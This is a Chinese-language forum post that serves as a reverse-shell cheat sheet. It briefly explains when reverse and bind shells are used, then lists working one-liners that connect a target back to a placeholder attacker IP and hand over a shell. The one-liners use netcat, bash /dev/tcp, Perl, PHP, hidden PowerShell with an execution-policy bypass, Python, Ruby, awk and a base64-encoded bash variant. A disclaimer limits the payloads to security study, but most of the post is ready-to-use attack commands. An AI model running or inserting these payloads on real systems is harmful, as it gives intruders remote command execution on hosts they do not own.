反弹shell篇

打印 上一主题 下一主题

主题 886|帖子 886|积分 2658

  1. 近日再进行内网渗透的研究时,想到了反弹shell这一基础操作的重要性。故今日来水一篇,简单的概述一下反弹shell
  2. 声明:文中 出现的Payload 仅供网安学习研讨使用。严禁非法使用,否后果自负!
复制代码
什么时候用反弹shell?为什么要用反弹shell?

我们在碰到的一般的命令执行漏洞中,用户执行的命令可能没有回显,或用户无法直接上传webshell时。我们会采用反弹shell的形式获取目标服务的命令行执行权限

反弹shell与正向shell的区别


  • 反弹shell:
    反弹shell是指 靶机连接攻击机 获取shell
  • 正向shell:
    正向shell是指 攻击机连接靶机 获取shell

反弹shell的那些经验之谈


  • 无论是反弹shell,还是正向shell。在使用之前,我们要确认攻击机与靶机的网络能够正常互通
  • 内网能访问公网,公网访问不了内网(如果在内网进行反弹shell是不行的哦)
  • 还有防火墙限制
以下列举Linux、Windows、Java的反弹执行shell


反弹shell的常见方法 (Linux)

  1. # 攻击机开启监听 所有的反弹shell的第一步 就是攻击机开启监听
  2. nc -lvnp [开放监听的端口]
  3. # 靶机连接攻击机 并送上shell
  4. nc -e /bin/sh [攻击机IP] [端口号]        # Linux
  5. nc -e cmd.exe [攻击机IP] [端口号]        # Windows
复制代码

  • Bash
  1. # 攻击机开启监听
  2. nc -lvnp [开放监听的端口]
  3. # 靶机连接攻击机
  4. bash -i >& /dev/tcp/[攻击机IP]/[端口号] 0>&1
复制代码

  • Perl
  1. # 攻击机开启监听
  2. nc -lvnp [开放监听的端口号]
  3. # 靶机连接攻击机
  4. perl -e 'use Socket;$i="[攻击机IP]";$p=[端口号];socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
复制代码

  • PHP
  1. # 攻击机开启监听
  2. nc -lvnp [开放监听的端口]
  3. # 靶机连接攻击机
  4. php -r '$sock=fsockopen("[攻击机IP]",[端口号]);exec("/bin/sh -i <&3 >&3 2>&3");'
复制代码

  • PowerShell
  1. # 攻击机开启监听
  2. nc -lvnp [开放监听的端口]
  3. # 靶机连接攻击机
  4. powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("[攻击机IP]",[端口号]);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
复制代码

  • Python
  1. # 攻击机开启监听
  2. nc -lvnp [开放监听的端口]
  3. # 靶机连接攻击机
  4. export RHOST="[攻击机IP]";export RPORT=[端口号];python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
复制代码

  • Ruby
  1. # 攻击机开启监听
  2. nc -lvnp [开放监听的端口]
  3. # 靶机连接攻击机
  4. ruby -rsocket -e'f=TCPSocket.open("[攻击机IP]",[端口号]).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
复制代码

  • awk
  1. # 攻击机开启监听
  2. nc -lvnp [开放监听的端口]
  3. # 靶机连接攻击机
  4. awk 'BEGIN {s = "/inet/tcp/0/[攻击机IP]/[端口号]"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
复制代码
还是更多的方法 等下次我再回来填坑

Windows 反弹shell
  1. # 攻击机开启监听
  2. nc -lvvp [端口号]
  3. # 靶机连接攻击机的监听并且送上shell
  4. nc [攻击机IP] [端口号] -e cmd.exe
复制代码
Windows 正向shell
  1. # 靶机开启监听 放置shell
  2. nc -lvvp [端口号] -e cmd.exe
  3. # 攻击机连接靶机的监听
  4. nc [靶机IP] [端口号]
复制代码
JAVA反弹shell
  1. # 攻击机开启监听
  2. nc -lvvp [端口号]
  3. # 靶机连接攻击机的监听并且送上shell
  4. bash -c {echo,[攻击机IP/端口号base64编码]}|{base64,-d}|{bash,-i}
复制代码
声明:文中 出现的Payload 仅供网安学习研讨使用。严禁非法使用,否后果自负!

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

伤心客

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表